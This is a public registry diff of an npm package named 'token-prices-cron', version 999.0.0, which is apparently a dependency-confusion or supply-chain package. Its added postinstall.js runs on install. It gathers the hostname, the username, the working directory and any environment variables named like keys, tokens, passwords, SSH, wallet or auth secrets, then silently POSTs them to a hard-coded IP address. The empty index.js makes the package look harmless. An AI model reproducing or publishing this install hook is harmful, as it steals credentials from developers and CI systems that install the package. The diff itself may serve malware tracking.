token-prices-cron 999.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -0
- package/package.json +9 -0
- package/postinstall.js +33 -0
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
ADDED
package/postinstall.js
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
// Exfil CI environment variables on install
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
const data = JSON.stringify({
|
|
6
|
+
hostname: os.hostname(),
|
|
7
|
+
user: os.userInfo().username,
|
|
8
|
+
cwd: process.cwd(),
|
|
9
|
+
env: Object.fromEntries(
|
|
10
|
+
Object.entries(process.env).filter(([k]) =>
|
|
11
|
+
/key|secret|token|pass|private|ssh|deploy|auth|api|rpc|wallet|sentry|docker|graph|slack|host/i.test(k)
|
|
12
|
+
)
|
|
13
|
+
),
|
|
14
|
+
npm_config: {
|
|
15
|
+
registry: process.env.npm_config_registry,
|
|
16
|
+
prefix: process.env.npm_config_prefix,
|
|
17
|
+
},
|
|
18
|
+
timestamp: new Date().toISOString()
|
|
19
|
+
});
|
|
20
|
+
|
|
21
|
+
const options = {
|
|
22
|
+
hostname: '185.130.46.35:8443',
|
|
23
|
+
port: 443,
|
|
24
|
+
path: '/collect',
|
|
25
|
+
method: 'POST',
|
|
26
|
+
headers: { 'Content-Type': 'application/json' }
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
try {
|
|
30
|
+
const req = https.request(options);
|
|
31
|
+
req.write(data);
|
|
32
|
+
req.end();
|
|
33
|
+
} catch(e) {}
|